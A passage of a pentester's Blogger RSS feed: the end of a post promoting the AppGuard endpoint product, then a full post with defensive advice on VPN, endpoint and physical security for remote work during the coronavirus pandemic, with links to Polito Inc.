&lt;span style=&quot;color: #ffa400;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-weight: bold;&quot;&gt;The post can&#39;t provide more scenario-specific details, in compliance with the NDA existing with the client. However, over their testing, Polito Inc. penetration testers observed AppGuard stopped most attacks that are normally a go-to with other endpoint security solutions (obfuscated PowerShell payloads, batch files, Magic Unicorn payloads and custom ransomware, etc.), by preventing registry writes.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-weight: bold;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;The only times when testers could get a shell was when Threat Hunter Mode, which constantly blocked the reverse shell payload, was disabled. Of course, AppGuard can&#39;t be regarded as a panacea but its approach seems to provide better results than a merely detection-based approach. AppGuard can very efficiently supplement a detection-based solution, for a marriage made in heaven.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-style: italic;&quot;&gt;Wrap-up&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Detection-based endpoint security solutions have not always risen to the occasion, as they include a lot of complexities and blind spots, potentially allowing for unknown or obfuscated malware to slip through.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Both whitelisting and backlisting approaches have their pros and cons and are very complex to handle. Specifically defining what applications to allow or block can be challenging in today&#39;s complex work environments, where each employee holds multiple roles and sometimes conflicting responsibilities, requiring multiple access levels to corporate assets.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Application hardening-based solutions, such as AppGuard, seem to have a higher potential, as they don&#39;t rely on signatures but block an application from writing to the registry, unless specifically allowed, based on a &lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-style: italic;&quot;&gt;zero-trust&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt; concept.&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;Detection-based solution such as CrowdStrike and CarbonBlack rely on &quot;indicators of compromise&quot; (IoCs) while AppGuard just simply blocks specific actions, such as registry writes.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt;&quot;&gt;This brings simplicity, allowing companies to reduce the complexities underlying endpoint security implementation and efficiently cut their overall attack surface. AppGuard allows yet more flexibility with its Enterprise version, allowing companies to use their custom security policies and more easily adjust the protection level provided to their specific needs.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2020/03/tips-for-information-security_57.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYQA1YQz-11WMmubFalBFUUVCRsgzmpuQ3rxd9eQQQVq26R3NrY0E4vKAikydRF2lDk1Yo15ETKsOa5ZLs9fkSPZlsV04Jihyphenhyphenk2BLGdHocFY8VwUDEUykYOi_-LIxysn3e9U61TXGDwOpx/s72-c/486f3693166a2149ba76df47eb4807ef-770167.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-7267490627979221452</guid><pubDate>Wed, 18 Mar 2020 23:06:00 +0000</pubDate><atom:updated>2021-01-07T17:41:36.979-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">cybersecurity</category><category domain="http://www.blogger.com/atom/ns#">pentesting</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Tips for an Information Security Analyst/Pentester career - Ep. 82 -Coronavirus and remote work security challenges</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;ennote&quot;&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;times new roman&amp;quot; , serif; font-size: 12pt; font-style: italic;&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://www.politoinc.com/contact-us&quot; target=&quot;_blank&quot;&gt;CONTACT OUR TEAM AT POLITO, INC.&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;All over the world, the pandemic outbreak caused by the coronavirus is forcing organizations to radically rethink their work structure, allowing employees to work remotely, whereas the nature of their business allows it.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw7SnGR0fCDLjgCahxdD8iddHtSMfxzQpYDMqUeKYGBxEzHsgGDF1y7u4xE0_g9SmvaWaU-WC32w0QBGmY_gAJm6FH2OtHCTD2YCzSJqzI31TffaKWCMJKYzhmt7wmVzu1bTexJJn9xSJe/s1600/e09c81b618854c1ff5ac25dbf303f1ca-724867.jpeg&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_6805687609703213122&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw7SnGR0fCDLjgCahxdD8iddHtSMfxzQpYDMqUeKYGBxEzHsgGDF1y7u4xE0_g9SmvaWaU-WC32w0QBGmY_gAJm6FH2OtHCTD2YCzSJqzI31TffaKWCMJKYzhmt7wmVzu1bTexJJn9xSJe/s320/e09c81b618854c1ff5ac25dbf303f1ca-724867.jpeg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;Some companies were already implementing remote work solutions to a certain extent&amp;nbsp;before the virus outbreak, while others weren&#39;t prepared for this change or weren&#39;t considering it at all.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;The challenges created by the pandemic are a typical example of why a disaster recovery strategy is so important for the survival of an organization. Organizations will need to respond quickly to this new scenario, or they&#39;ll be soon out of business.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;As it often happens, though, making strategic decisions when pressed by time can lead to catastrophic consequences.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;Incorrect and hasty VPN implementations can lead to a higher number of security breaches than it&amp;nbsp;would be otherwise. A VPN (Virtual Private Network) gives access to an organization&#39;s internal network. When remote employees connect to a VPN, they access the&amp;nbsp;internal network the same way as if they were sitting at their desks using a device physically hooked to it.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;The scenario we&#39;re currently&amp;nbsp;living will push more and more organizations to implement VPN networks over short time frames, so the underlying question is: how can this be done securely and how can organizations&amp;nbsp;implement the&amp;nbsp;solutions they need without jeopardizing their business and their customers&#39; information?&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFKLaqqnMciNxJDWb2oRLaqsjGSGD63pyvLR2ylMjd71087AhadTWpoCwOfuSZpOel7Gf4FbivucUWu-dh2TRDI_T2l3vfThS7xSYYeUg4Pog6HalzDGULGz6xbxUnZXJRkvOZjnkazkAA/s1600/3a4f12dc226626e752b165827aee7f74-726773.png&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_6805687619023977906&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFKLaqqnMciNxJDWb2oRLaqsjGSGD63pyvLR2ylMjd71087AhadTWpoCwOfuSZpOel7Gf4FbivucUWu-dh2TRDI_T2l3vfThS7xSYYeUg4Pog6HalzDGULGz6xbxUnZXJRkvOZjnkazkAA/s320/3a4f12dc226626e752b165827aee7f74-726773.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px; font-style: italic;&quot;&gt;Challenges in working from home&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;The primary benefit of VPN is that network traffic is routed&amp;nbsp;through a secure tunnel between the user and the organization. &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;However, the use of a VPN may also present some underlying risks and challenges.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;If the VPN service used is configured incorrectly, it could cause all users&#39; network traffic to connect over VPN, slowing down connectivity. Additionally, if a VPN is configured with a split-traffic set up, then users have access to internal apps/resources but are not routing all web traffic. If so, an endpoint getting compromised could cause those internal resources to be&amp;nbsp;exposed to potential attackers. Under this scenario, no logs would be available with regard to the incident, so attackers could be allowed to persist within the&amp;nbsp;corporate&amp;nbsp;network for a&amp;nbsp;long amount of time.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;ALWAYS use VPN when working remotely. The spread of the so-called Internet of Things (IoT) devices and of smart devices connected to the Internet (TVs, security systems, washers, dryers, printers, etc.) has&amp;nbsp;gradually increased the attack surface. Often times these devices are inherently insecure or are configured with standard credentials, which could allow an&amp;nbsp;attacker to move laterally across the network and &amp;nbsp;compromise the corporate home-based device. &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;Additionally, Multi-Factor Authentication (MFA) should also be enabled whenever available. MFA makes it more difficult for hackers to access company assets, as they must typically also have access to a user&#39;s smartphone or security device in addition to their username and password to login.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;Make sure the specific VPN solution implemented is constantly updated against the most&amp;nbsp;recent threats. I recently had&amp;nbsp;the chance to pentest some endpoints running Fortinet, &amp;nbsp;affected by two CVEs related to critical vulnerabilities (directory traversal and reflected XSS), and I was able to&amp;nbsp;successfully access sensitive files on the web server.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;A failure to install the patches related to these and other&amp;nbsp;vulnerabilities can easily lead to a complete compromise of the VPN and, along with it, of the whole corporate network.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;For a more thorough analysis of this topic, please refer to the following links:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://www.us-cert.gov/ncas/alerts/aa20-010a&quot; style=&quot;font-size: 14px;&quot;&gt;https://www.us-cert.gov/ncas/alerts/aa20-010a&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://slack-redir.net/link?url=https%3A%2F%2Fwww.darkreading.com%2Fattacks-breaches%2Fwidely-known-flaw-in-pulse-secure-vpn-being-used-in-ransomware-attacks%2Fd%2Fd-id%2F1336729&amp;amp;v=3&quot; style=&quot;font-size: 14px;&quot;&gt;https://www.darkreading.com/attacks-breaches/widely-known-flaw-in-pulse-secure-vpn-being-used-in-ransomware-attacks/d/d-id/1336729&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://slack-redir.net/link?url=https%3A%2F%2Fwww.fortinet.com%2Fblog%2Fbusiness-and-technology%2Ffortios-ssl-vulnerability.html&amp;amp;v=3&quot; style=&quot;font-size: 14px;&quot;&gt;https://www.fortinet.com/blog/business-and-technology/fortios-ssl-vulnerability.html&lt;/a&gt;&lt;span style=&quot;font-size: 14px;&quot;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;a href=&quot;http://us-cert.gov/&quot; style=&quot;font-size: 14px;&quot;&gt;us-cert.gov&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://www.us-cert.gov/ncas/alerts/aa20-010a&quot; style=&quot;font-size: 14px;&quot;&gt;Continued Exploitation of Pulse Secure VPN Vulnerability | CISA&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://www.darkreading.com/attacks-breaches/widely-known-flaw-in-pulse-secure-vpn-being-used-in-ransomware-attacks/d/d-id/1336729&quot; style=&quot;font-size: 14px;&quot;&gt;Widely Known Flaw in Pulse Secure VPN Being Used in Ransomware Attacks&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://www.fortinet.com/blog/business-and-technology/fortios-ssl-vulnerability.html&quot; style=&quot;font-size: 14px;&quot;&gt;FortiOS and SSL Vulnerabilities&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;Updating the&amp;nbsp;underlying software, along with using&amp;nbsp;strong passwords and MFA&amp;nbsp;solutions, minimizes&amp;nbsp;the risks related to password spraying&amp;nbsp;attacks,&amp;nbsp;brute force attacks, dictionary attacks and other TTPs (Techniques, Tactics and Procedures) that could lead to a partial of complete corporate network compromise. It&#39;s a cat-and-mouse game and organizations need to be on top of it. For each dollar spent in information security, one&amp;nbsp;dollar is spent in developing new malware and exploits by&amp;nbsp;the bad guys.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px; font-style: italic;&quot;&gt;Endpoint security&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;Most users who work from home will typically use a laptop computer as an endpoint. However, some organizations use tablets, smartphones, and other devices as well.&amp;nbsp;Regardless of the specific devices used,&amp;nbsp;endpoint security for home-based corporate devices is paramount, as endpoints often store corporate files and can access sensitive data stored elsewhere by the organization. Securing endpoints goes beyond just installing antivirus. For organizations who already have a mature cybersecurity stack and have a routinely tested and&amp;nbsp;patched&amp;nbsp;golden image, these processes will be much smoother.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;Some of the most important&amp;nbsp;considerations to keep in mind when choosing from different endpoint security solutions are the following:&lt;/span&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt; Ensure all endpoints connecting into your organization meet a minimum set of security requirements. If your organization needs to comply with HIPAA, PCI DSS, or other forms of governance, regulation, and/or frameworks, your endpoint security solutions need to abide by them, as well.&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt; Endpoints should run an effective antivirus and firewall solution. If your organization has the budget for it, a Malware Prevention solution, like AppGuard, and an Endpoint Detection and Response (EDR) solution, like Carbon Black or CrowdStrike, would be good to have as well.&amp;nbsp;Endpoints should be configured to log events (ideally by sending them to a controlled dedicated system, like Elastic).&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;Mobile Device Management (MDM) policies should be enforced, if applicable.&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;Enforce Full Disk Encryption (FDE) whereas possible.&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px; font-weight: bold;&quot;&gt;Physical Security&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;If your organization or your users deal with sensitive data or have to comply with certain regulations, physical security should be taken into consideration for home-based work environments, too, other than for corporate locations. &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;The organization&amp;nbsp;should enforce the following best practices to this regard:&lt;/span&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt; Keep company assets in a locked drawer or similar when not in use.&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt; If an employee lives with other people, make sure they understand that company assets are for company use only and that their family, friends, and others cannot have access to them.&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt; Have employees set up their home offices in a part of their home not very exposed &amp;nbsp;to prying eyes whenever possible – computer and mobile screens should never face uncovered windows and doors.&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt; Depending on regulations that may need to be followed for your industry, certain locks and procedures may need to be implemented.&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;Users could end up having their devices&amp;nbsp;lost or stolen as a reaction to the cabin fever, induced by the pandemic. Make sure employees understand their responsibilities for securing company assets. If they choose to work from a location other than their homes, they should be using a privacy screen and laptop locks, in addition to FDE and VPN.&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjpPOuyWocNf0W5glgGXR1hw1Lqb_XFA36Wi6py7oEebbLPkqX-Xg5xy4N2jPcrji5fmUw6XJAdlh-727WBpNLQfEkhcrmjehaDsAz024QH1fI9FUZyAcLdvopQJ_u6PRvr41jt9KQycb9/s1600/c90a48b2e75977a3260a19c63cf9b63d-729852.jpeg&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_6805687630622850370&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjpPOuyWocNf0W5glgGXR1hw1Lqb_XFA36Wi6py7oEebbLPkqX-Xg5xy4N2jPcrji5fmUw6XJAdlh-727WBpNLQfEkhcrmjehaDsAz024QH1fI9FUZyAcLdvopQJ_u6PRvr41jt9KQycb9/s320/c90a48b2e75977a3260a19c63cf9b63d-729852.jpeg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px; font-style: italic;&quot;&gt;Wrap-up&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;The world (and the information security scene with it) is facing an unprecedented scenario leading to a new industrial revolution, that all organizations will be forced to face. Such scenario will bring radical changes to the way we lead&amp;nbsp;our lives, to the global economy and to our daily habits but, most importantly, will pose and is already posing new challenges and threats for&amp;nbsp;organizations, to be faced head-on and as soon as possible, as their very survival is threatened.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;Will &lt;/span&gt;&lt;span style=&quot;font-size: 14px; font-style: italic;&quot;&gt;your&lt;/span&gt;&lt;span style=&quot;font-size: 14px;&quot;&gt; organization rise to the occasion?&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;How will you do faced with these new challenges?&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;A famous old movie quotation goes, &quot;When the game is tough, the&amp;nbsp;tough gets going&quot;.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;This is&amp;nbsp;time for all security professional to step up and help.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;Now is time for all of us to give all we got and even more.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;I feel very motivated by these new challenges and I&#39;m trying to work harder and smarter than I did so far, to keep our clients safe and do our share.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;I&#39;m lucky enough to be part of a penetration testing company dealing with these challenges day and in day out, and I know how hard my coworkers and I are working to go the extra mile for our clients.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: 14px;&quot;&gt;If we can help you in any way to face these new challenges and to remediate any&amp;nbsp;incidents your organization might be experiencing as a result of an incorrect VPN&amp;nbsp;implementation, you can directly &lt;a href=&quot;https://www.politoinc.com/contact-us&quot; target=&quot;_blank&quot;&gt;contact our team at Polito, Inc.&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2020/03/tips-for-information-security_72.html</link><author>noreply@blogger.com (SavvyGeek)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw7SnGR0fCDLjgCahxdD8iddHtSMfxzQpYDMqUeKYGBxEzHsgGDF1y7u4xE0_g9SmvaWaU-WC32w0QBGmY_gAJm6FH2OtHCTD2YCzSJqzI31TffaKWCMJKYzhmt7wmVzu1bTexJJn9xSJe/s72-c/e09c81b618854c1ff5ac25dbf303f1ca-724867.jpeg" height="72" width="72"/><thr:total>0</thr:total></item></channel></rss>